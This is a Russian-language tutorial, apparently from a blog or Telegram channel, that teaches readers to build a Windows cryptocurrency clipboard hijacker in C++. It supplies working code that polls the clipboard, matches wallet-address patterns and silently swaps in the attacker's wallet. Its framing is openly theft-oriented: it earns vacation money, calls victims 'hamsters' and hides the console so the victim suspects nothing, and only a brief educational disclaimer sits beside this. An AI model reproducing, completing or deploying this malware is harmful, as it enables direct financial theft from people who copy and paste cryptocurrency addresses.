# Укради это! Пишем крипто клиппер с нуля
###### tags: `malware` `development` `red_team`

---
Лето уже не за горами, а, значит, пора заняться поисками денежных средств, которые пойдут на отпуск с блэкджеком и шлюхами. В этом непростом занятии нам может помочь крипто клиппер, структуру которого мы сегодня разберем в деталях и, в качестве приятного дополнения, напишем свой собственный.
**Дисклеймер: Все материалы в статье предоставлены в образовательных целях. Автор не призывает читателей к нарушению закона и не несет ответственности за действия, совершенные ими после изучения данной информации.**
### Содержание:
- [Основная информация о крипто клипперах](##Основная-информация-о-криптоклипперах)
- [Разбираемся в структуре работы клиппера](##Разбираемся-в-структуре-работы-клиппера)
- [Пишем свой крипто клиппер](##Пишем-свой-крипто-клиппер)
- [Заключение](##Заключение)
## Основная информация о крипто клипперах
**Крипто клиппер** - вредоносное ПО, основной задачей которого является кража криптовалютных активов незадачливового пользователя путем подмены адреса криптокошелька получателя.
Почему злоумышленники выбрали именно криптовалюту в качестве цели своей атаки? Ответ очень прост: относительная анонимность. Создать криптовалютный кошелек можно за 1 минуту без предоставления каких-либо документов, в то время как открытие того же банковского счета требует намного больше действий и документов. Да, можно завести счета на подставных лиц (дропов), но стоит ли овчинка выделки?
Еще одной причиной такого выбора стала невнимательность пользователей. Так, если сверку номера карты или телефона с источником человеческий мозг в большинстве случаев способен осилить, то при сверке криптоадресов часто начинаются проблемы ввиду их длины и трудночитаемости.
Есть и еще один приятный бонус: транзакции в блокчейне отменить намного сложнее, чем в обычной системе платежей.
## Разбираемся в структуре работы клиппера
Что ж, пора посмотреть, что кроется у данного вида ВПО под капотом.
*PS: в данной статье мы будем рассматривать крипто клипперы, ориентированные на устройства под управлением ОС Windows, ввиду ее массовой распространенности.*
Для работы с буфером нам потребуется 3 функции из WinAPI: **GetClipboardData**, **SetClipboardData**, **EmptyClipboard**. Как понятно из их названий, они занимаются получением данных из буфера обмена, помещением данных в буфер и его очисткой.
Пораскинув мозгами, можно составить простейшую схему работы такого ПО:
1. Получение данных из буфера обмена.
2. Сверка данных регулярным выражением в целях подмены только определенных данных.
3. Замена данных соответствующим значением в случае положительного результата проверки.
Естественно, все это происходит в цикле. Причину наличия цикла, надеюсь, разъяснять не нужно.
## Пишем свой крипто клиппер
Вот мы и подобрались к самому интересному. Писать мы будем наш клиппер на C++, так как на C# хватает поделок и без меня, а к экзотике типа Rust и Go я пока что морально не готов.
Первым делом добавим необходимые для работы библиотеки:
```
#include <regex>
#include <Windows.h>
using namespace std;
```
Можно обойтись и без **using ...**, но в таком случае придется прописывать **std::** самостоятельно, что добавит лишней головной боли.
Функция **main** у нас будет выглядеть просто и лаконично:
```
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
while (true)
{
char* clipboardData = GetClipboardText();
if (clipboardData != NULL)
{
CheckClipboardText(clipboardData);
}
Sleep(20);
}
}
```
Тем не менее, для лучшего понимания стоит пояснить некоторые детали:
1. **int WINAPI WinMain(...)** - один из вариантов функции **main**, в данном конкретном случае избавляет нас от инициализации консольного окна (согласитесь, вряд ли потенциальная жертва обрадуется нашим намерениям).
2. **Sleep(20)** - задержка перед повторным выполнением цикла. Не стоит сильно загружать систему, а то хомячок может что-то заподозрить.
Следующая на очереди функция, которая будет получать данные из буфера обмена:
```
char* GetClipboardText()
{
HANDLE data;
if (OpenClipboard(NULL))
{
data = GetClipboardData(CF_TEXT);
}
CloseClipboard();
return (char*)data;
}
```
Преобразователь **(char*)** в **return** обязателен, так как изначальным типом данных переменной является [**HANDLE**](https://learn.microsoft.com/en-us/windows/win32/sysinfo/about-handles-and-objects), который не подходит под возвращаемое значение (хоть и содержит необходимую нам информацию).
Получив данные, нужно обработать их. В этом нам поможет функция **CheckClipboardText**:
```
void CheckClipboardText(char* clipboardData)
{
static vector<pair<regex, string>> coinPairs =
{
{regex("BTC_REGEX"), "BTC_ADDRESS"},
{regex("LTC_REGEX"), "LTC_ADDRESS"},
{regex("ETH_REGEX"), "ETH_ADDRESS"},
{regex("XLM_REGEX"), "XLM_ADDRESS"},
{regex("XMR_REGEX"), "XMR_ADDRESS"},
{regex("BCH_REGEX"), "BCH_ADDRESS"},
{regex("DASH_REGEX"), "DASH_ADDRESS"},
{regex("DOGE_REGEX"), "DOGE_ADDRESS"},
};
for (const auto coin : coinPairs)
{
if (!coin.second.empty())
{
if (coin.second != clipboardData)
{
if (regex_match(clipboardData, coin.first))
{
SetClipboardText(coin.second);
}
}
}
}
}
```
Здесь мы создаем статическое (чтобы не инициализировать каждый раз) хранилище для регулярных выражений и строк - вектор coinPairs.
В качестве BTC_ADDRESS и т. п. необходимо подставить ваши кошельки. Конкретные же значения регулярных выражений оставляю вам на самостоятельный поиск, так как моя цель - показать вам путь, а не дать готовое решение.
PS: если вы по какой-то причине не хотите подменять конкретный кошелек - оставьте значение пустым, и он не будет проверяться.
Дальше же все просто: каждая пара regex:string проверяется с полученными данными, и при совпадении вызывается функция замены соответствующим кошельком.
Заниматься этой операцией будет функция **SetClipboardText**:
```
void SetClipboardText(string text)
{
HGLOBAL glob = GlobalAlloc(GMEM_FIXED, text.length() + 1);
memcpy(glob, text.c_str(), text.length() + 1);
if (OpenClipboard(nullptr))
{
EmptyClipboard();
SetClipboardData(CF_TEXT, glob);
}
CloseClipboard();
}
```
В общих чертах, тут происходит следующее:
1. Выделяется объем памяти, достаточный для копирования входных данных.
2. Происходит их копирование с помощью **memcpy**.
3. Выполняется очистка буфера обмена, с целью избежания наложения на уже имеющиеся в нем данные.
4. Наше значение кошелька помещается в буфер обмена.
На этом часть с кодингом подходит к концу, как и сама статья.
## Заключение
Конечно, в данной статье описаны не все функции клиппера, которые могут в нем присутствовать, такие как закрепление, обфускация строк и вызовов API и многое другое. Тем не менее, основная часть, показанная здесь, рабочая и имеет право на жизнь.
Учитесь, работайте, а главное - думайте головой, друзья, и у вас все получится!
**Telegram**: [File Exploit](https://t.me/filexploit)